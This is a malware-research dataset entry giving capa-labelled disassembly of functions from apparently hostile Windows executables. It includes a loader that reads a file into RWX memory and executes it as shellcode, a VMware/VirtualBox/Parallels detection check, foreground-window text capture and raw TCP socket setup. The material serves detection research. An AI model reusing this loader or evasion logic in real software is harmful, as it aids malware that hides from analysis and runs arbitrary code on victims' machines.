joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4017de
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x80
push 4
push esi
push 1
push 0x80000000
push str.C:Usersinx.cod
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401861
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
push ebx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor ebx, ebx
push ebx
mov esi, str.HARDWAREDESCRIPTIONSystemBIOS
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4018b7
push esi
push ecx
push str.Failed_to_open_registry_key:
push 0x422a50
call fcn.004047f1
add esp, 0xc
push eax
call fcn.004047f1
push eax
call fcn.00401594
add esp, 0xc
xor al, al
jmp 0x4019b2
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xa8]
push eax
push ebx
push ebx
push str.SystemManufacturer
push dword [ebp - 4]
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x401900
push str.Failed_to_query_value:_SystemManufacturer
push 0x422a50
call fcn.004047f1
push eax
call fcn.00401594
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4018b0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x10], 0xf
mov dword [ebp - 0x14], ebx
mov byte [ebp - 0x24], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40191f
sub eax, edx
push eax
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x24]
call fcn.004034f5
push str.VMware
lea eax, [ebp - 0x24]
push eax
call fcn.00401ae1
or esi, 0xffffffff
cmp eax, esi
jne 0x4019a5
push str.Virtual
lea eax, [ebp - 0x24]
push eax
call fcn.00401ae1
cmp eax, esi
jne 0x4019a5
push str.Microsoft_Corporation
lea eax, [ebp - 0x24]
push eax
call fcn.00401ae1
cmp eax, esi
jne 0x4019a5
push str.innotek_GmbH
lea eax, [ebp - 0x24]
push eax
call fcn.00401ae1
cmp eax, esi
jne 0x4019a5
push str.Parallels_Software_International_Inc.
lea eax, [ebp - 0x24]
push eax
call fcn.00401ae1
cmp eax, esi
jne 0x4019a5
push ebx
push 1
lea ecx, [ebp - 0x24]
call fcn.00402a0d
jmp 0x4018b0
push ebx
push 1
lea ecx, [ebp - 0x24]
call fcn.00402a0d
mov al, 1
pop esi
pop ebx
leave
ret
Function at 0x4019b6
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x108
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x4019df
push 0x100
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
call fcn.00407127
mov dword [esp + 0xc], eax
pop ecx
lea eax, [esp + 8]
push eax
mov dword [esp + 0x10], edx
call fcn.00406fce
pop ecx
mov esi, eax
push dword [esi + 0xc]
mov eax, str._:_
push ecx
push eax
push ecx
mov ecx, dword [esi + 0x10]
inc ecx
push ecx
push ecx
push eax
mov eax, dword [esi + 0x14]
push ecx
add eax, 0x76c
push eax
mov edi, 0x422978
push edi
call fcn.00401b26
pop ecx
push eax
call fcn.004047f1
add esp, 0xc
push eax
call fcn.00401b26
pop ecx
push eax
call fcn.004047f1
add esp, 0xc
push eax
call fcn.00401b26
push dword [esi]
mov eax, 0x41e2e8
push ecx
push eax
push ecx
push dword [esi + 4]
push ecx
push eax
push ecx
push dword [esi + 8]
push ecx
push 0x41e2ec
push edi
call fcn.004047f1
add esp, 0xc
push eax
call fcn.00401b26
pop ecx
push eax
call fcn.004047f1
add esp, 0xc
push eax
call fcn.00401b26
pop ecx
push eax
call fcn.004047f1
add esp, 0xc
push eax
call fcn.00401b26
push eax
call fcn.00401594
pop ecx
call fcn.00401861
test al, al
je 0x401aa0
xor eax, eax
inc eax
jmp 0x401ab1
call fcn.00401600
call fcn.0040179e
call fcn.004017de
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402249
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41a4b0
call fcn.004171f4
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x402266
xor eax, eax
jmp 0x40228e
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
push edi
xor edi, edi
cmp ecx, edi
je 0x40229e
mov eax, dword [esi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x40229e
dec dword [eax]
mov esi, dword [esi + 0x24]
mov eax, dword [esi]
lea ecx, [eax + 1]
mov dword [esi], ecx
mov byte [eax], bl
mov eax, ebx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
cmp dword [esi + 0x54], edi
je 0x4022be
mov ecx, esi
call fcn.00402d06
cmp dword [esi + 0x44], edi
jne 0x4022c3
push dword [esi + 0x54]
push ebx
call fcn.004015ca
pop ecx
pop ecx
test al, al
jne 0x40228b
or eax, 0xffffffff
jmp 0x40228d
push edi
push 8
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x10], bl
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], edi
mov byte [ebp - 0x34], 0
call fcn.00403569
mov dword [ebp - 4], edi
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402376
lea eax, [ebp - 0x34]
mov edx, eax
add eax, dword [ebp - 0x24]
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x14]
push ebx
push eax
push edx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x14]
test eax, eax
js 0x402394
cmp eax, 1
jg 0x40237e
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x40232a
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x14]
sub edi, eax
je 0x402350
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x40233d
lea eax, [ebp - 0x34]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.00406c83
add esp, 0x10
cmp edi, eax
jne 0x402394
lea eax, [ebp - 0x10]
mov byte [esi + 0x49], 1
cmp dword [ebp - 0x18], eax
jne 0x4023aa
test edi, edi
jne 0x4022e2
cmp dword [ebp - 0x24], 0x20
jae 0x402394
push edi
push 8
lea ecx, [ebp - 0x34]
call fcn.0040288d
jmp 0x4022e2
mov edx, dword [ebp - 0x34]
jmp 0x4022f4
cmp eax, 3
jne 0x402394
push dword [esi + 0x54]
push dword [ebp - 0x10]
call fcn.004015ca
pop ecx
pop ecx
test al, al
jne 0x4023aa
or esi, 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.00402a0d
mov eax, esi
jmp 0x40228d
mov esi, dword [ebp + 8]
jmp 0x402397
Function at 0x402bd9
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41a508
call fcn.004171f4
sub esp, 0x20
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x402cce
cmp byte [esi + 0x49], bl
je 0x402cce
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x402c11
xor al, al
jmp 0x402cd0
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00403569
mov dword [ebp - 4], ebx
push edi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402c71
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x10]
push ebx
mov ebx, dword [ebp - 0x1c]
add ebx, eax
push ebx
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x402c76
dec eax
je 0x402c7a
dec eax
dec eax
je 0x402cca
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402a0d
mov al, bl
pop edi
jmp 0x402cd0
mov edx, dword [ebp - 0x2c]
jmp 0x402c3b
mov byte [esi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402c86
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x10]
sub edi, eax
je 0x402cac
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402c99
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.00406c83
add esp, 0x10
cmp edi, eax
jne 0x402c5e
cmp byte [esi + 0x49], 0
je 0x402cca
test edi, edi
jne 0x402c2d
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.0040288d
jmp 0x402c2d
mov bl, 1
jmp 0x402c60
mov al, 1
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x408061
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42165c]
jne 0x40806b
repz ret
jmp fcn.0040e7ec
Function at 0x414cd4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42165c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040c838
and dword [ebp - 0x14], 0
cmp dword [0x4239bc], 0
mov dword [ebp - 0x18], eax
jne 0x414d87
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x414e2f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x414e2f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4239bc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4239c0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4239c4], eax
call edi
push eax
call esi
mov dword [0x4239cc], eax
test eax, eax
je 0x414d87
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4239c8], eax
mov eax, dword [0x4239c8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x414de0
cmp dword [0x4239cc], ecx
je 0x414de0
push eax
call esi
push dword [0x4239cc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x414de0
test ebx, ebx
je 0x414de0
call edi
test eax, eax
je 0x414dd7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x414dd7
test byte [ebp - 8], 1
jne 0x414de0
or dword [ebp + 0x10], 0x200000
jmp 0x414e13
mov eax, dword [0x4239c0]
cmp eax, dword [ebp - 0x18]
je 0x414e13
push eax
call esi
test eax, eax
je 0x414e13
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x414e13
mov eax, dword [0x4239c4]
cmp eax, dword [ebp - 0x18]
je 0x414e13
push eax
call esi
test eax, eax
je 0x414e13
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4239bc]
call esi
test eax, eax
je 0x414e2f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x414e31
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408061
leave
ret
Function at 0x401000
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4558db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xf0
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xfc]
mov ecx, 0x3c
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
add ecx, 0x3c
call fcn.0040d070
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x14]
mov dword [eax], 0
mov eax, dword [ebp - 0x14]
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x10], 0
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x2c], 0x8010
mov eax, dword [ebp - 0x14]
mov byte [eax + 0x5c], 0
mov eax, dword [ebp - 0x14]
mov byte [eax + 0x5d], 0
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x6c], 0
mov eax, dword [ebp - 0x14]
mov word [eax + 8], 0x2584
push 0
call fcn.00431e48
add esp, 4
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x30], eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x30]
mov dword [edx + 0x34], ecx
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x38], 0
mov eax, dword [ebp - 0x14]
add eax, 0x14
mov esi, esp
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
cmp esi, esp
call fcn.0043234a
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x54], 0x40
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x58], 0
mov esi, esp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp esi, esp
call fcn.0043234a
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jbe 0x401156
mov eax, dword [ebp - 0x20]
add eax, 0x14
push eax
call fcn.00431bf3
add esp, 4
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xf8]
mov dword [ecx + 0x68], edx
mov esi, esp
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x68]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp esi, esp
call fcn.0043234a
push str.vagaa_net_setup.exe
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x68]
mov edx, dword [ebp - 0x20]
lea eax, [ecx + edx - 1]
push eax
call fcn.00431d50
add esp, 8
jmp 0x401186
push 0x18
call fcn.00431bf3
add esp, 4
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xec]
mov dword [eax + 0x68], ecx
push str.c:_vagaa_net_setup.exe
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x68]
push ecx
call fcn.00431d50
add esp, 8
push 0x7800
mov ecx, 0x462364
call fcn.004011c0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0xfc
cmp ebp, esp
call fcn.0043234a
mov esp, ebp
pop ebp
ret
Function at 0x420430
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
push ebx
push esi
push edi
lea edi, [ebp - 0x28c]
mov ecx, 0xa3
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x460280]
mov dword [ebp - 4], eax
mov esi, esp
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
cmp esi, esp
call fcn.0043234a
mov esi, esp
push 0x45808c
push 0
push 0
push 0
push 0
push 1
push 0
push 0
push 0
push 0x190
push 0
push 0
push 0
push 0xfffffffffffffff4
call dword [sym.imp.GDI32.dll_CreateFontA]
cmp esi, esp
call fcn.0043234a
mov dword [0x462554], eax
mov esi, esp
push 0x45808c
push 0
push 0
push 0
push 0
push 1
push 0
push 1
push 0
push 0x190
push 0
push 0
push 0
push 0xfffffffffffffff4
call dword [sym.imp.GDI32.dll_CreateFontA]
cmp esi, esp
call fcn.0043234a
mov dword [0x462558], eax
mov esi, esp
push 0x64
push 0x462440
push 0x67
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringA]
cmp esi, esp
call fcn.0043234a
mov esi, esp
push 0x64
push 0x4624c0
push 0x6d
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringA]
cmp esi, esp
call fcn.0043234a
mov eax, dword [ebp + 8]
push eax
call fcn.004206a0
add esp, 4
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00420820
add esp, 8
test eax, eax
jne 0x420530
xor eax, eax
jmp 0x420638
mov esi, esp
lea eax, [ebp - 0x1c8]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp esi, esp
call fcn.0043234a
mov esi, esp
push 0x6d
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
cmp esi, esp
call fcn.0043234a
mov dword [ebp - 0x30], eax
mov ecx, 0x462328
call fcn.00401900
movzx eax, al
test eax, eax
jne 0x420578
xor eax, eax
jmp 0x420638
mov ecx, dword [0x462378]
call fcn.00425c60
mov esi, esp
push 0
push 0
push 0
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
cmp esi, esp
call fcn.0043234a
test eax, eax
je 0x4205e7
mov esi, esp
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.USER32.dll_TranslateAcceleratorA]
cmp esi, esp
call fcn.0043234a
test eax, eax
jne 0x4205e5
mov esi, esp
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
cmp esi, esp
call fcn.0043234a
mov esi, esp
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp esi, esp
call fcn.0043234a
jmp 0x420583
mov ecx, dword [0x462378]
call fcn.00425d20
mov ecx, 0x462328
call fcn.004013d0
mov esi, esp
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp esi, esp
call fcn.0043234a
mov esi, esp
mov eax, dword [0x462554]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
cmp esi, esp
call fcn.0043234a
mov esi, esp
mov eax, dword [0x462558]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
cmp esi, esp
call fcn.0043234a
mov eax, dword [ebp - 0x1c]
push edx
mov ecx, ebp
push eax
lea edx, [0x420667]
call fcn.0043236d
pop eax
pop edx
mov ecx, dword [ebp - 4]
call fcn.00432663
pop edi
pop esi
pop ebx
add esp, 0x28c
cmp ebp, esp
call fcn.0043234a
mov esp, ebp
pop ebp
ret 0x10
Function at 0x420820
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
push edi
lea edi, [ebp - 0xcc]
mov ecx, 0x33
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [0x4624a4], eax
mov esi, esp
push 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0
push 0
push closesocket
push 0
push closesocket
push 0x2cf0000
push 0x462440
push 0x4624c0
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
cmp esi, esp
call fcn.0043234a
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [0x462534], eax
cmp dword [ebp - 8], 0
jne 0x420893
xor eax, eax
jmp 0x4208e3
call fcn.00420780
mov esi, esp
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
cmp esi, esp
call fcn.0043234a
mov esi, esp
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
cmp esi, esp
call fcn.0043234a
mov esi, esp
push 0
push 0x3e8
push 1
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
cmp esi, esp
call fcn.0043234a
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0xcc
cmp ebp, esp
call fcn.0043234a
mov esp, ebp
pop ebp
ret
Function at 0x422670
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xfc]
mov ecx, 0x3f
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + 0x14]
test ecx, ecx
jne 0x42275d
mov eax, dword [ebp - 8]
mov word [eax + 0x28], 2
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x2c], ecx
mov esi, esp
mov ax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
cmp esi, esp
call fcn.0043234a
mov ecx, dword [ebp - 8]
mov word [ecx + 0x2a], ax
mov esi, esp
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp esi, esp
call fcn.0043234a
mov ecx, dword [ebp - 8]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 8], 0xffffffff
jne 0x4226fa
xor al, al
jmp 0x4227e7
mov dword [ebp - 0x14], 1
mov esi, esp
lea eax, [ebp - 0x14]
push eax
push 0x8004667e
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp esi, esp
call fcn.0043234a
mov esi, esp
push 0x10
mov eax, dword [ebp - 8]
add eax, 0x28
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp esi, esp
call fcn.0043234a
mov eax, dword [ebp - 8]
mov dword [eax + 0xc], 1
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x462378]
call fcn.004242f0
jmp 0x4227e5
mov eax, dword [ebp + 8]
add eax, dword [ebp + 0x10]
xor edx, edx
mov ecx, 5
div ecx
mov ecx, edx
call fcn.00433192
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 3
mov dx, word [ebp - 0x20]
push edx
mov ecx, dword [0x462380]
call fcn.00404eb0
movzx eax, al
test eax, eax
je 0x4227b5
mov ax, word [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0042a040
add esp, 0xc
mov ecx, dword [ebp - 8]
mov dword [ecx + 8], eax
jmp 0x4227bf
mov eax, dword [ebp - 8]
mov dword [eax + 8], 0xffffffff
mov eax, dword [ebp - 8]
cmp dword [eax + 8], 0xffffffff
jne 0x4227cc
xor al, al
jmp 0x4227e7
mov eax, dword [ebp - 8]
mov dword [eax + 0xc], 1
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x462378]
call fcn.004242f0
mov al, 1
push edx
mov ecx, ebp
push eax
lea edx, [0x42280e]
call fcn.0043236d
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0xfc
cmp ebp, esp
call fcn.0043234a
mov esp, ebp
pop ebp
ret 0x10
Function at 0x422860
Capabilities:
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xd8]
mov ecx, 0x36
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov word [eax + 0x18], 2
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x1c], ecx
mov esi, esp
mov ax, word [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_htons]
cmp esi, esp
call fcn.0043234a
mov ecx, dword [ebp - 8]
mov word [ecx + 0x1a], ax
mov esi, esp
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp esi, esp
call fcn.0043234a
mov ecx, dword [ebp - 8]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 8], 0xffffffff
jne 0x4228db
xor al, al
jmp 0x42297e
mov dword [ebp - 0x14], 1
mov esi, esp
lea eax, [ebp - 0x14]
push eax
push 0x8004667e
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp esi, esp
call fcn.0043234a
mov esi, esp
push 0x10
mov eax, dword [ebp - 8]
add eax, 0x18
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.WS2_32.dll_bind]
cmp esi, esp
call fcn.0043234a
test eax, eax
jle 0x422948
mov esi, esp
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
cmp esi, esp
call fcn.0043234a
mov eax, dword [ebp - 8]
mov dword [eax + 8], 0xffffffff
xor al, al
jmp 0x42297e
mov esi, esp
push 0x100
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.WS2_32.dll_listen]
cmp esi, esp
call fcn.0043234a
mov eax, dword [ebp - 8]
mov dword [eax + 0xc], 4
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x462378]
call fcn.004242f0
mov al, 1
push edx
mov ecx, ebp
push eax
lea edx, [0x4229a5]
call fcn.0043236d
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0xd8
cmp ebp, esp
call fcn.0043234a
mov esp, ebp
pop ebp
ret 8